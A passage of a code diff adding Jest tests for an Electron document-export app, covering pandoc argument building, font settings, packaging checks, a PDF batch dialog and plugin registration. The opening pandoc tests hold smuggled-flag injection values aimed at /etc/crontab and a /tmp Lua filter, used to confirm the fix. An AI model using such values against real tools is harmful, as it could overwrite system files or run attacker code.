      geometry: 'margin=1in"; -o /etc/crontab',
    });
    expectSingleLiteralArg(
      args,
      '--pdf-engine=xelatex" --lua-filter=/tmp/evil.lua',
      '--lua-filter=/tmp/evil.lua',
      '-o'
    );
    expectSingleLiteralArg(args, 'geometry:margin=1in"; -o /etc/crontab', '-o', '/etc/crontab');
  });
  test('pptx footer text cannot inject extra pandoc flags', () => {
    const vector = 'Page 1"; --lua-filter=/tmp/evil.lua';
    const args = [];
    appendFooterVariable(args, vector);
    expect(args).toEqual(['--variable', `footer=${vector}`]);
  });
  test('the retired string+parseCommand path DID split a malicious value (documents the bug)', () => {
    const malicious = '/tmp/x.bib" --lua-filter=/tmp/evil.lua -o "/tmp/x.bib';
    const oldCommand = `pandoc "/in.md" -o "/out.pdf" --bibliography="${malicious}"`;
    const { args } = retiredParseCommand(oldCommand);
    expect(args).toContain('--lua-filter=/tmp/evil.lua');
    expect(args).not.toContain(`--bibliography=${malicious}`);
    // The new builder neutralizes the same vector.
    const safeArgs = buildPandocArgs({
      inputFile: '/in.md',
      outputFile: '/out.pdf',
      options: { bibliography: malicious },
    });
    expect(safeArgs).not.toContain('--lua-filter=/tmp/evil.lua');
    expectSingleLiteralArg(safeArgs, `--bibliography=${malicious}`, '--lua-filter=/tmp/evil.lua');
  });
 });
 describe('PandocArgs regression pins (benign input, pre-conversion argv)', () => {
  const benignOptions = {
    template: '/templates/report.tex',
    metadata: { title: 'My Report', author: 'Jane Doe' },
    variables: { geometry: 'margin=1in', fontsize: '12pt' },
    toc: true,
    tocDepth: 3,
    numberSections: true,
    citeproc: true,
    bibliography: '/refs/refs.bib',
    csl: '/styles/ieee.csl',
  };
  // Rebuilds the exact command string the export dialog used to produce for a
  // benign option set, then tokenizes it with the retired parser.
  function oldDialogArgs(format) {
    let pandocCmd = `pandoc "/in.md" -o "/out.${format}"`;
    if (benignOptions.template && benignOptions.template !== 'default') {
      pandocCmd += ` --template="${benignOptions.template}"`;
    }
    for (const [key, value] of Object.entries(benignOptions.metadata)) {
      if (value.trim()) pandocCmd += ` -M ${key}="${value.replace(/"/g, '\\"')}"`;
    }
    for (const [key, value] of Object.entries(benignOptions.variables)) {
      if (value.trim()) pandocCmd += ` -V ${key}="${value.replace(/"/g, '\\"')}"`;
    }
    if (benignOptions.toc) pandocCmd += ' --toc';
    if (benignOptions.tocDepth) pandocCmd += ` --toc-depth=${benignOptions.tocDepth}`;
    if (benignOptions.numberSections) pandocCmd += ' --number-sections';
    if (benignOptions.citeproc) pandocCmd += ' --citeproc';
    if (benignOptions.bibliography) pandocCmd += ` --bibliography="${benignOptions.bibliography}"`;
    if (benignOptions.csl) pandocCmd += ` --csl="${benignOptions.csl}"`;
    if (format === 'docx') pandocCmd += ' -t docx';
    return retiredParseCommand(pandocCmd).args;
  }
  test.each(['docx', 'rtf', 'pdf', 'pptx', 'epub', 'odt'])(
    'format %s produces the same argv as the retired string path for a benign option set',
    (format) => {
      const args = buildPandocArgs({
        inputFile: '/in.md',
        outputFile: `/out.${format}`,
        format,
        options: benignOptions,
      });
      expect([...args].sort()).toEqual(oldDialogArgs(format).sort());
    }
  );
  test('buildPandocArgs docx with full options (exact argv pin)', () => {
    const args = buildPandocArgs({
      inputFile: '/in.md',
      outputFile: '/out.docx',
      format: 'docx',
      options: benignOptions,
    });
    expect(args).toEqual([
      '/in.md',
      '-o',
      '/out.docx',
      '--template=/templates/report.tex',
      '-M',
      'title=My Report',
      '-M',
      'author=Jane Doe',
      '-V',
      'geometry=margin=1in',
      '-V',
      'fontsize=12pt',
      '--toc',
      '--toc-depth=3',
      '--number-sections',
      '--citeproc',
      '--bibliography=/refs/refs.bib',
      '--csl=/styles/ieee.csl',
      '-t',
      'docx',
    ]);
  });
  test('buildPandocArgs minimal options for a generic format (exact argv pin)', () => {
    const args = buildPandocArgs({ inputFile: '/a b.md', outputFile: '/out.rtf', format: 'rtf' });
    expect(args).toEqual(['/a b.md', '-o', '/out.rtf']);
  });
  test.each(Object.entries(SIMPLE_TARGET_FORMATS))(
    'simple target format %j converts to -t %s and drops dialog options (pre-existing behavior)',
    (format, target) => {
      const args = buildSimpleTargetArgs('/in.md', '/out.file', format);
      expect(args).toEqual(['/in.md', '-t', target, '-o', '/out.file']);
      // Dialog options were never applied to these formats before the fix.
      expect(args).not.toContain('--toc');
    }
  );
  test('simple target formats cover the seven formats added in the export expansion', () => {
    for (const format of ['asciidoc', 'rst', 'mediawiki', 'org', 'textile', 'man', 'ipynb']) {
      expect(SIMPLE_TARGET_FORMATS[format]).toBe(format);
    }
  });
  test('buildSimpleTargetArgs returns null for formats with bespoke handling', () => {
    for (const format of ['pdf', 'docx', 'html', 'epub', 'revealjs', 'rtf']) {
      expect(buildSimpleTargetArgs('/in.md', '/out.x', format)).toBeNull();
    }
  });
  test('appendCommonOptions skips default template and blank metadata/variable values', () => {
    const args = [];
    appendCommonOptions(args, {
      template: 'default',
      metadata: { title: '  ', author: 'Kept' },
      variables: { margin: '' },
    });
    expect(args).toEqual(['-M', 'author=Kept']);
  });
  test('appendCommonOptions tolerates missing options object', () => {
    const args = ['/in.md', '-o', '/out.pdf'];
    appendCommonOptions(args, undefined);
    expect(args).toEqual(['/in.md', '-o', '/out.pdf']);
  });
  test('appendPdfEngineOptions defaults to xelatex and adds geometry when set', () => {
    const withDefaults = [];
    appendPdfEngineOptions(withDefaults);
    expect(withDefaults).toEqual(['--pdf-engine=xelatex']);
    const full = [];
    appendPdfEngineOptions(full, { pdfEngine: 'lualatex', geometry: 'margin=1in' });
    expect(full).toEqual(['--pdf-engine=lualatex', '-V', 'geometry:margin=1in']);
  });
  test('appendFooterVariable is a no-op without footer text', () => {
    const args = [];
    appendFooterVariable(args, '');
    appendFooterVariable(args, undefined);
    expect(args).toEqual([]);
  });
 });
@@ -0,0 +1,51 @@
 jest.mock('electron', () => ({
  app: { getPath: () => '/fake/userData' },
 }));
 jest.mock('fs', () => ({ existsSync: jest.fn(), statSync: jest.fn() }));
 const fs = require('fs');
 const MonospaceFontConfig = require('../src/main/MonospaceFontConfig');
 describe('MonospaceFontConfig', () => {
  afterEach(() => {
    jest.clearAllMocks();
  });
  test('returns null when no file exists', () => {
    fs.existsSync.mockReturnValue(false);
    const p = MonospaceFontConfig.getMonoFontTtfPath('jetbrains-mono', 400);
    expect(p).toBeNull();
  });
  test('returns dev repo path when dev file exists', () => {
    fs.existsSync.mockImplementation(
      (p) => !p.includes('app.asar.unpacked') && p.endsWith('JetBrainsMono-Regular.ttf')
    );
    const p = MonospaceFontConfig.getMonoFontTtfPath('jetbrains-mono', 400);
    expect(p).toMatch(/assets\/fonts\/JetBrainsMono-Regular\.ttf$/);
  });
  test('returns packaged asar.unpacked path when present and file exists', () => {
    fs.existsSync.mockImplementation(
      (p) => p.includes('app.asar.unpacked') && p.endsWith('FiraCode-Regular.ttf')
    );
    const p = MonospaceFontConfig.getMonoFontTtfPath('fira-code', 400);
    expect(p).toContain('app.asar.unpacked');
    expect(p).toContain('FiraCode-Regular.ttf');
  });
  test('returns null and warns when file is missing', () => {
    const warn = jest.spyOn(console, 'warn').mockImplementation(() => {});
    fs.existsSync.mockReturnValue(false);
    const p = MonospaceFontConfig.getMonoFontTtfPath('fira-code', 700);
    expect(p).toBeNull();
    expect(warn).toHaveBeenCalledWith(expect.stringMatching(/FiraCode-Bold\.ttf/));
    warn.mockRestore();
  });
  test('ligaturesEnabled maps from settings', () => {
    expect(MonospaceFontConfig.ligaturesEnabled({ monospaceLigatures: true })).toBe(true);
    expect(MonospaceFontConfig.ligaturesEnabled({ monospaceLigatures: false })).toBe(false);
    expect(MonospaceFontConfig.ligaturesEnabled({})).toBe(false);
  });
 });
@@ -0,0 +1,26 @@
 const {
  getDefaults,
  getActiveMonoFont,
  isLigaturesEnabled,
 } = require('../src/main/settings/monospaceSettings');
 describe('monospaceSettings', () => {
  test('getDefaults returns sane defaults', () => {
    const d = getDefaults();
    expect(d.monospaceFont).toBe('jetbrains-mono');
    expect(d.monospaceLigatures).toBe(false);
  });
  test('getActiveMonoFont returns the active family', () => {
    expect(getActiveMonoFont({ monospaceFont: 'fira-code' })).toBe('Fira Code');
    expect(getActiveMonoFont({})).toBe('JetBrains Mono');
    expect(getActiveMonoFont({ monospaceFont: 'bogus' })).toBe('JetBrains Mono');
  });
  test('isLigaturesEnabled reads boolean strictly', () => {
    expect(isLigaturesEnabled({ monospaceLigatures: true })).toBe(true);
    expect(isLigaturesEnabled({ monospaceLigatures: false })).toBe(false);
    expect(isLigaturesEnabled({})).toBe(false);
    expect(isLigaturesEnabled({ monospaceLigatures: 'yes' })).toBe(false);
  });
 });
@@ -0,0 +1,62 @@
 const fs = require('fs');
 const path = require('path');
 // Regression guard for the deb startup crash (2026-08-23): the packaged build
 // pruned the @img/sharp-* native bindings (only the pure-JS @img/colour entries
 // landed in the asar), so sharp's loader fell back to a binding that links
 // against system libvips and the main process died on ERR_DLOPEN_FAILED before
 // any window opened. When a linux build is present, the prebuilt sharp packages
 // — including the bundled libvips shared libraries — must be unpacked next to
 // the asar (build.asarUnpack claims node_modules/@img/** and node_modules/@napi-rs/**).
 const UNPACKED_IMG_DIR = path.join(
  __dirname,
  '..',
  'dist',
  'linux-unpacked',
  'resources',
  'app.asar.unpacked',
  'node_modules',
  '@img'
 );
 const buildOutputExists = fs.existsSync(UNPACKED_IMG_DIR);
 function listFilesRecursively(dir) {
  const files = [];
  for (const entry of fs.readdirSync(dir, { withFileTypes: true })) {
    const full = path.join(dir, entry.name);
    if (entry.isDirectory()) {
      files.push(...listFilesRecursively(full));
    } else {
      files.push(full);
    }
  }
  return files;
 }
 (buildOutputExists ? describe : describe.skip)('packaged @img sharp prebuilt binaries', () => {
  test('unpacked @img directory exists and is non-empty', () => {
    const entries = fs.readdirSync(UNPACKED_IMG_DIR);
    expect(entries.length).toBeGreaterThan(0);
  });
  test.each(['sharp-linux-x64', 'sharp-libvips-linux-x64'])(
    '%s package is unpacked with contents',
    (pkg) => {
      const pkgDir = path.join(UNPACKED_IMG_DIR, pkg);
      expect(fs.existsSync(pkgDir)).toBe(true);
      expect(listFilesRecursively(pkgDir).length).toBeGreaterThan(0);
    }
  );
  test('sharp-linux-x64 ships its native binding', () => {
    const binding = path.join(UNPACKED_IMG_DIR, 'sharp-linux-x64', 'lib', 'sharp-linux-x64.node');
    expect(fs.existsSync(binding)).toBe(true);
  });
  test('sharp-libvips-linux-x64 ships the bundled libvips shared libraries', () => {
    const libvipsLibDir = path.join(UNPACKED_IMG_DIR, 'sharp-libvips-linux-x64', 'lib');
    const sharedLibs = fs.readdirSync(libvipsLibDir).filter((f) => /^libvips.*\.so/.test(f));
    expect(sharedLibs.length).toBeGreaterThan(0);
  });
 });
@@ -0,0 +1,491 @@
 /**
 * Tests for the PDF batch operations dialog (Task 22). Exercises the real
 * dialog DOM in jsdom with the electron IPC surface mocked, following the
 * jest.mock('electron') pattern in document-compare-dialog.test.js.
 *
 * These jsdom tests plus tests/main/PDFBatchOperations.test.js substitute for
 * the brief's manual GUI verification step (batch-watermarking a folder of
 * PDFs), which is not possible in this sandbox.
 */
 jest.mock('electron', () => ({
  ipcRenderer: {
    invoke: jest.fn(),
    send: jest.fn(),
    on: jest.fn(),
    once: jest.fn(),
    removeAllListeners: jest.fn(),
  },
 }));
 require('../src/utils/ModalManager'); // sets window.ModalManager for the dialog
 const { ipcRenderer } = require('electron');
 const { showPdfBatchDialog } = require('../src/renderer/pdf-batch-dialog');
 // Captures the listeners the dialog registers (folder-selected, batch-progress,
 // pdf-batch-complete) so tests can fire them like the main process would.
 const listeners = {};
 ipcRenderer.on.mockImplementation((channel, callback) => {
  listeners[channel] = callback;
  return () => delete listeners[channel];
 });
 const EXPECTED_OPERATIONS = [
  'watermark',
  'split',
  'compress',
  'rotate',
  'delete',
  'extractText',
  'pageNumbers',
  'crop',
  'extractImages',
 ];
 function openDialog(onConvertFormat = jest.fn()) {
  showPdfBatchDialog({ onConvertFormat });
  return onConvertFormat;
 }
 function selectBatchType(type) {
  const select = document.getElementById('pdf-batch-type');
  select.value = type;
  select.dispatchEvent(new Event('change'));
 }
 function selectOperation(op) {
  const select = document.getElementById('pdf-batch-operation');
  select.value = op;
  select.dispatchEvent(new Event('change'));
 }
 function setField(name, value) {
  document.getElementById(`pdf-batch-field-${name}`).value = value;
 }
 // Conditional fields are hidden by toggling their wrapper section.
 function fieldWrapperHidden(name) {
  return document.getElementById(`pdf-batch-field-${name}-wrapper`).classList.contains('hidden');
 }
 function setFolders(input = '/batch/in', output = '/batch/out') {
  setField('inputFolder', input);
  setField('outputFolder', output);
 }
 function clickProcess() {
  document.getElementById('pdf-batch-process').click();
 }
 function statusText() {
  return document.getElementById('pdf-batch-status').textContent;
 }
 function lastSentPayload() {
  const calls = ipcRenderer.send.mock.calls.filter((c) => c[0] === 'batch-pdf-operation');
  return calls.length ? calls[calls.length - 1][1] : null;
 }
 describe('PDF batch operations dialog', () => {
  beforeEach(() => {
    ipcRenderer.send.mockReset();
    ipcRenderer.invoke.mockReset();
  });
  describe('batch type selector', () => {
    it('defaults to Convert Format and hides the bulk-operation controls', () => {
      const onConvertFormat = openDialog();
      expect(document.getElementById('pdf-batch-type').value).toBe('convert');
      expect(
        document.getElementById('pdf-batch-operation-panel').classList.contains('hidden')
      ).toBe(true);
      expect(document.getElementById('pdf-batch-process').textContent).toContain('Batch Converter');
      expect(document.getElementById('pdf-batch-operation').children.length).toBe(
        EXPECTED_OPERATIONS.length
      );
      expect(onConvertFormat).not.toHaveBeenCalled();
    });
    it('delegates Convert Format to the existing batch converter without sending an operation', () => {
      const onConvertFormat = openDialog();
      clickProcess();
      expect(onConvertFormat).toHaveBeenCalledTimes(1);
      expect(ipcRenderer.send).not.toHaveBeenCalledWith('batch-pdf-operation', expect.anything());
    });
    it('shows the bulk-operation controls when Bulk PDF Operation is selected', () => {
      openDialog();
      selectBatchType('operation');
      const opSelect = document.getElementById('pdf-batch-operation');
      expect(
        document.getElementById('pdf-batch-operation-panel').classList.contains('hidden')
      ).toBe(false);
      expect(Array.from(opSelect.options).map((o) => o.value)).toEqual(EXPECTED_OPERATIONS);
      expect(document.getElementById('pdf-batch-process').textContent).toBe('Process');
    });
  });
  describe('bulk operation validation', () => {
    it('warns when the input folder is missing and sends nothing', () => {
      openDialog();
      selectBatchType('operation');
      setField('outputFolder', '/batch/out');
      clickProcess();
      expect(statusText()).toBe('Select an input folder.');
      expect(lastSentPayload()).toBeNull();
    });
    it('warns when the output folder is missing and sends nothing', () => {
      openDialog();
      selectBatchType('operation');
      setField('inputFolder', '/batch/in');
      clickProcess();
      expect(statusText()).toBe('Select an output folder.');
      expect(lastSentPayload()).toBeNull();
    });
  });
  describe('watermark operation', () => {
    it('sends the batch-pdf-operation payload with the single-file dialog option shapes', () => {
      openDialog();
      selectBatchType('operation');
      selectOperation('watermark');
      setFolders();
      setField('text', 'DRAFT');
      clickProcess();
      expect(lastSentPayload()).toEqual({
        operation: 'watermark',
        inputFolder: '/batch/in',
        outputFolder: '/batch/out',
        includeSubfolders: true,
        data: {
          text: 'DRAFT',
          fontSize: 48,
          opacity: 0.3,
          position: 'center',
          color: '#000000',
          pages: 'all',
        },
      });
    });
    it('warns when the watermark text is empty', () => {
      openDialog();
      selectBatchType('operation');
      selectOperation('watermark');
      setFolders();
      clickProcess();
      expect(statusText()).toBe('Enter watermark text.');
      expect(lastSentPayload()).toBeNull();
    });
    it('warns when the font size is cleared', () => {
      openDialog();
      selectBatchType('operation');
      selectOperation('watermark');
      setFolders();
      setField('text', 'DRAFT');
      setField('fontSize', '');
      clickProcess();
      expect(statusText()).toBe('Enter a font size.');
      expect(lastSentPayload()).toBeNull();
    });
    it('shows the custom-pages field only for custom pages and sends customPages', () => {
      openDialog();
      selectBatchType('operation');
      selectOperation('watermark');
      setFolders();
      setField('text', 'DRAFT');
      expect(fieldWrapperHidden('customPages')).toBe(true);
      setField('pages', 'custom');
      document.getElementById('pdf-batch-field-pages').dispatchEvent(new Event('change'));
      expect(fieldWrapperHidden('customPages')).toBe(false);
      setField('customPages', '1-2');
      clickProcess();
      expect(lastSentPayload().data).toMatchObject({ pages: 'custom', customPages: '1-2' });
    });
    it('requires custom pages when Pages is set to custom', () => {
      openDialog();
      selectBatchType('operation');
      selectOperation('watermark');
      setFolders();
      setField('text', 'DRAFT');
      setField('pages', 'custom');
      document.getElementById('pdf-batch-field-pages').dispatchEvent(new Event('change'));
      clickProcess();
      expect(statusText()).toBe('Enter the custom pages to watermark.');
      expect(lastSentPayload()).toBeNull();
    });
  });
  describe('split operation', () => {
    it('shows page-range or interval fields per split mode and validates them', () => {
      openDialog();
      selectBatchType('operation');
      selectOperation('split');
      setFolders();
      // Default mode "pages": ranges required, interval hidden.
      expect(fieldWrapperHidden('interval')).toBe(true);
      clickProcess();
      expect(statusText()).toBe('Enter page ranges (e.g. 1-5, 6-10).');
      expect(lastSentPayload()).toBeNull();
      // Interval mode: interval required, ranges hidden.
      setField('splitMode', 'interval');
      document.getElementById('pdf-batch-field-splitMode').dispatchEvent(new Event('change'));
      expect(fieldWrapperHidden('pageRanges')).toBe(true);
      setField('interval', '');
      clickProcess();
      expect(statusText()).toBe('Enter the number of pages per split file.');
      expect(lastSentPayload()).toBeNull();
      // Valid interval payload.
      setField('interval', '2');
      clickProcess();
      expect(lastSentPayload().data).toEqual({ splitMode: 'interval', interval: 2 });
    });
    it('sends pageRanges in pages mode', () => {
      openDialog();
      selectBatchType('operation');
      selectOperation('split');
      setFolders();
      setField('pageRanges', '1-2, 3');
      clickProcess();
      expect(lastSentPayload().data).toEqual({ splitMode: 'pages', pageRanges: '1-2, 3' });
    });
    it('sends only the mode for size splits', () => {
      openDialog();
      selectBatchType('operation');
      selectOperation('split');
      setFolders();
      setField('splitMode', 'size');
      document.getElementById('pdf-batch-field-splitMode').dispatchEvent(new Event('change'));
      clickProcess();
      expect(lastSentPayload().data).toEqual({ splitMode: 'size' });
    });
  });
  describe('other operations', () => {
    it('sends delete pages', () => {
      openDialog();
      selectBatchType('operation');
      selectOperation('delete');
      setFolders();
      setField('pages', '2');
      clickProcess();
      expect(lastSentPayload().data).toEqual({ pages: '2' });
    });
    it('warns when delete pages is empty', () => {
      openDialog();
      selectBatchType('operation');
      selectOperation('delete');
      setFolders();
      clickProcess();
      expect(statusText()).toBe('Enter the pages to delete (e.g. 1-3, 5).');
      expect(lastSentPayload()).toBeNull();
    });
    it('sends rotate with angle and optional pages', () => {
      openDialog();
      selectBatchType('operation');
      selectOperation('rotate');
      setFolders();
      setField('pages', '1');
      clickProcess();
      expect(lastSentPayload().data).toEqual({ angle: 90, pages: '1' });
    });
    it('sends page numbers options', () => {
      openDialog();
      selectBatchType('operation');
      selectOperation('pageNumbers');
      setFolders();
      clickProcess();
      expect(lastSentPayload().data).toEqual({ position: 'bottom-center', startNumber: 1 });
    });
    it('sends crop margins', () => {
      openDialog();
      selectBatchType('operation');
      selectOperation('crop');
      setFolders();
      setField('margins.top', '10');
      setField('margins.left', '5');
      clickProcess();
      expect(lastSentPayload().data).toEqual({
        margins: { top: 10, bottom: 0, left: 5, right: 0 },
      });
    });
    it('sends an empty data object for parameterless operations', () => {
      openDialog();
      selectBatchType('operation');
      selectOperation('compress');
      setFolders();
      clickProcess();
      expect(lastSentPayload()).toEqual({
        operation: 'compress',
        inputFolder: '/batch/in',
        outputFolder: '/batch/out',
        includeSubfolders: true,
        data: {},
      });
    });
  });
  describe('progress and completion events', () => {
    it('sends only one operation while a run is in flight', () => {
      openDialog();
      selectBatchType('operation');
      selectOperation('compress');
      setFolders();
      clickProcess();
      clickProcess(); // second click while the first run is still active
      const calls = ipcRenderer.send.mock.calls.filter((c) => c[0] === 'batch-pdf-operation');
      expect(calls).toHaveLength(1);
      // After completion, a new run can be started.
      listeners['pdf-batch-complete'](
        {},
        { success: true, completed: 1, failed: 0, total: 1, outputFolder: '/batch/out' }
      );
      clickProcess();
      expect(
        ipcRenderer.send.mock.calls.filter((c) => c[0] === 'batch-pdf-operation')
      ).toHaveLength(2);
    });
    it('updates the progress bar from batch-progress events', () => {
      openDialog();
      selectBatchType('operation');
      selectOperation('compress');
      setFolders();
      clickProcess();
      listeners['batch-progress']({}, { completed: 1, failed: 0, total: 3, currentFile: 'a.pdf' });
      const fill = document.getElementById('pdf-batch-progress-fill');
      expect(fill.style.width).toBe('33%');
      expect(document.getElementById('pdf-batch-progress-text').textContent).toContain('a.pdf');
      expect(document.getElementById('pdf-batch-process').disabled).toBe(true);
    });
    it('re-enables Process and reports success on batch completion', () => {
      openDialog();
      selectBatchType('operation');
      selectOperation('compress');
      setFolders();
      clickProcess();
      listeners['pdf-batch-complete'](
        {},
        { success: true, completed: 3, failed: 0, total: 3, outputFolder: '/batch/out' }
      );
      expect(statusText()).toContain('Batch complete: 3/3 file(s) processed');
      expect(document.getElementById('pdf-batch-process').disabled).toBe(false);
      expect(document.getElementById('pdf-batch-progress').classList.contains('hidden')).toBe(true);
    });
    it('reports failures in the completion status', () => {
      openDialog();
      selectBatchType('operation');
      selectOperation('compress');
      setFolders();
      clickProcess();
      listeners['pdf-batch-complete'](
        {},
        { success: true, completed: 2, failed: 1, total: 3, outputFolder: '/batch/out' }
      );
      expect(statusText()).toContain('2/3 file(s) processed');
      expect(statusText()).toContain('1 failed');
    });
    it('surfaces early errors (e.g. no matching files) as a warning', () => {
      openDialog();
      selectBatchType('operation');
      selectOperation('compress');
      setFolders();
      clickProcess();
      listeners['pdf-batch-complete'](
        {},
        { success: false, error: 'No matching files found in the selected folder.' }
      );
      expect(statusText()).toBe('Error: No matching files found in the selected folder.');
      expect(document.getElementById('pdf-batch-process').disabled).toBe(false);
    });
    it('ignores progress events while the dialog has no run in flight', () => {
      openDialog();
      selectBatchType('operation');
      selectOperation('compress');
      listeners['batch-progress']({}, { completed: 1, failed: 0, total: 3, currentFile: 'a.pdf' });
      // Still the reset value — the event was ignored because no run is active.
      expect(document.getElementById('pdf-batch-progress-fill').style.width).toBe('0%');
    });
  });
  describe('folder picker replies', () => {
    it('routes folder-selected events for its own pick types only', () => {
      openDialog();
      selectBatchType('operation');
      selectOperation('watermark');
      listeners['folder-selected']({}, { type: 'pdf-batch-input-dir', path: '/picked/in' });
      listeners['folder-selected']({}, { type: 'pdf-batch-output-dir', path: '/picked/out' });
      listeners['folder-selected']({}, { type: 'unrelated-type', path: '/elsewhere' });
      expect(document.getElementById('pdf-batch-field-inputFolder').value).toBe('/picked/in');
      expect(document.getElementById('pdf-batch-field-outputFolder').value).toBe('/picked/out');
    });
  });
 });
@@ -0,0 +1,55 @@
 const PdfFontHeader = require('../src/main/PdfFontHeader');
 describe('PdfFontHeader.build', () => {
  test('emits fontspec with Path, family prefix, weight globs, and Ligatures=NoCommon when off', () => {
    const tex = PdfFontHeader.build({
      fontTtfPath: '/abs/path/JetBrainsMono-Regular.ttf',
      boldTtfPath: '/abs/path/JetBrainsMono-Bold.ttf',
      ligatures: false,
    });
    expect(tex).toContain('\\usepackage{fontspec}');
    // \setmonofont uses the family prefix (weight suffix stripped)
    expect(tex).toMatch(/\\setmonofont\[[^\]]*\]\{JetBrainsMono\}/);
    // Path is the directory (no trailing filename)
    expect(tex).toContain('Path=/abs/path/');
    // No programming ligatures
    expect(tex).toContain('Ligatures=NoCommon');
    // Upright/Bold use the family-prefixed glob
    expect(tex).toContain('UprightFont=*-Regular');
    expect(tex).toContain('BoldFont=*-Bold');
  });
  test('emits Ligatures=TeX when on (preserves --/--- but no programming ligatures)', () => {
    const tex = PdfFontHeader.build({
      fontTtfPath: '/abs/JBM-Regular.ttf',
      boldTtfPath: '/abs/JBM-Bold.ttf',
      ligatures: true,
    });
    expect(tex).toContain('Ligatures=TeX');
    expect(tex).not.toContain('Ligatures=NoCommon');
  });
  test('returns a no-op stub when font path is missing', () => {
    const tex = PdfFontHeader.build({ fontTtfPath: null, boldTtfPath: null, ligatures: false });
    expect(tex).toContain('% Monospace font path unavailable');
  });
  test('normalizes Windows backslashes to forward slashes', () => {
    const tex = PdfFontHeader.build({
      fontTtfPath: 'C:\\Users\\foo\\JetBrainsMono-Regular.ttf',
      boldTtfPath: 'C:\\Users\\foo\\JetBrainsMono-Bold.ttf',
      ligatures: false,
    });
    expect(tex).toContain('Path=C:/Users/foo/');
    expect(tex).toMatch(/\{JetBrainsMono\}/);
  });
  test('strips the FiraCode weight suffix to derive the family prefix', () => {
    const tex = PdfFontHeader.build({
      fontTtfPath: '/abs/FiraCode-Regular.ttf',
      boldTtfPath: '/abs/FiraCode-Bold.ttf',
      ligatures: false,
    });
    expect(tex).toMatch(/\{FiraCode\}/);
  });
 });
@@ -21,6 +21,7 @@ describe('PluginContext', () => {
      },
      ipc: { invoke: jest.fn(), on: jest.fn() },
      exportHooks: { preHooks: [], postHooks: [] },
      formatRegistry: { register: jest.fn(), get: jest.fn(), getAll: jest.fn() },
    };
    context = new PluginContext(mockDeps);
  });
@@ -87,4 +88,18 @@ describe('PluginContext', () => {
    context.exports.registerPostHook(handler);
    expect(mockDeps.exportHooks.postHooks).toContain(handler);
  });
  test('exposes formats.registerExportFormat with namespaced id', () => {
    const handler = jest.fn();
    const opts = { label: 'My Format', extension: 'txt', handler };
    context.formats.registerExportFormat('my-format', opts);
    expect(mockDeps.formatRegistry.register).toHaveBeenCalledWith('test-plugin:my-format', opts);
  });
  test('formats.registerExportFormat is a no-op when no formatRegistry is injected', () => {
    const noRegistryContext = new PluginContext({ ...mockDeps, formatRegistry: undefined });
    expect(() =>
      noRegistryContext.formats.registerExportFormat('x', { handler: jest.fn() })
    ).not.toThrow();
  });
 });
@@ -1,6 +1,7 @@
 const { PluginRegistry } = require('../src/plugins/plugin-registry');
 const { PluginAPI } = require('../src/plugins/plugin-api');
 const { EventBus } = require('../src/plugins/event-bus');
 const { FormatRegistry } = require('../src/plugins/format-registry');
 class TestPlugin extends PluginAPI {
  init(context) {
@@ -153,4 +154,40 @@ describe('PluginRegistry', () => {
    registry.getPlugin('test').instance.ctx.exports.registerPreHook(handler);
    expect(registry.exportHooks.preHooks).toContain(handler);
  });
  test('a plugin calling context.formats.registerExportFormat populates the injected FormatRegistry with a namespaced entry', () => {
    const formatRegistry = new FormatRegistry();
    const registryWithFormats = new PluginRegistry({ ...mockDeps, formatRegistry });
    class ExportingPlugin extends PluginAPI {
      init(context) {
        context.formats.registerExportFormat('sprint-summary', {
          label: 'Writing Studio Summary (.txt)',
          extension: 'txt',
          handler: async () => {},
        });
      }
    }
    registryWithFormats.register({
      id: 'writing-studio',
      name: 'Writing Studio',
      version: '1.0.0',
      description: 'desc',
      manifest: {},
      PluginClass: ExportingPlugin,
      dir: '/tmp/test',
    });
    const entry = formatRegistry.get('writing-studio:sprint-summary');
    expect(entry).toBeDefined();
    expect(entry.label).toBe('Writing Studio Summary (.txt)');
    expect(entry.extension).toBe('txt');
    expect(typeof entry.handler).toBe('function');
    const all = formatRegistry.getAll();
    expect(all).toContainEqual(
      expect.objectContaining({ id: 'writing-studio:sprint-summary', extension: 'txt' })
    );
  });
 });
@@ -42,9 +42,11 @@ describe('Preload Security', () => {
      'browse-header-footer-logo',
      'save-header-footer-logo',
      'clear-header-footer-logo',
      'get-export-presets',
      'save-export-preset',
      'delete-export-preset',
      'get-page-settings',
      'update-page-settings',
      'set-custom-start-page',
      'process-pdf-operation',
      'get-pdf-page-count',
      'select-pdf-folder',
@@ -180,4 +182,65 @@ describe('Preload Security', () => {
      expect(window.electronAPI.pdf.getPageCount).toBeDefined();
    });
  });
  // Loads the real src/preload.js against a mocked electron module, following
  // the jest.mock('electron') pattern used by the renderer dialog tests.
  describe('getFilePath (webUtils.getPathForFile bridge)', () => {
    const setupApi = window.electronAPI;
    afterAll(() => {
      window.electronAPI = setupApi;
    });
    test('exposes getFilePath and delegates to webUtils.getPathForFile', () => {
      jest.mock('electron', () => ({
        contextBridge: {
          exposeInMainWorld: (key, api) => {
            window[key] = api;
          },
        },
        ipcRenderer: {
          send: jest.fn(),
          invoke: jest.fn(),
          on: jest.fn(),
          once: jest.fn(),
          removeListener: jest.fn(),
          removeAllListeners: jest.fn(),
        },
        webUtils: {
          getPathForFile: jest.fn((file) => file && `/resolved${file.name}`),
        },
      }));
      const { webUtils } = require('electron');
      require('../src/preload.js');
      expect(typeof window.electronAPI.getFilePath).toBe('function');
      const file = { name: '/report.md' };
      expect(window.electronAPI.getFilePath(file)).toBe('/resolved/report.md');
      expect(webUtils.getPathForFile).toHaveBeenCalledWith(file);
    });
    test('falls back to file.path when webUtils is unavailable', () => {
      jest.mock('electron', () => ({
        contextBridge: {
          exposeInMainWorld: (key, api) => {
            window[key] = api;
          },
        },
        ipcRenderer: {
          send: jest.fn(),
          invoke: jest.fn(),
          on: jest.fn(),
          once: jest.fn(),
          removeListener: jest.fn(),
          removeAllListeners: jest.fn(),
        },
      }));
      require('../src/preload.js');
      expect(typeof window.electronAPI.getFilePath).toBe('function');
      const file = { path: '/legacy/file.md' };
      expect(window.electronAPI.getFilePath(file)).toBe('/legacy/file.md');
    });
  });
 });
@@ -16,6 +16,6 @@ describe('Project version consistency', () => {
  });
  test('README contains current version string', () => {
-    expect(readme).toContain('v4.4.4');
+    expect(readme).toContain(`v${packageJson.version}`);
  });
 });
@@ -11,6 +11,8 @@ global.window.electronAPI = {
  once: jest.fn(),
  invoke: jest.fn(() => Promise.resolve(null)),
  removeAllListeners: jest.fn(),
  // webUtils.getPathForFile bridge (File.path was removed in Electron 32)
  getFilePath: jest.fn((file) => file && file.path),
  file: {
    save: jest.fn(),
    saveCurrent: jest.fn(),
@@ -55,7 +57,6 @@ global.window.electronAPI = {
  page: {
    getSettings: jest.fn(),
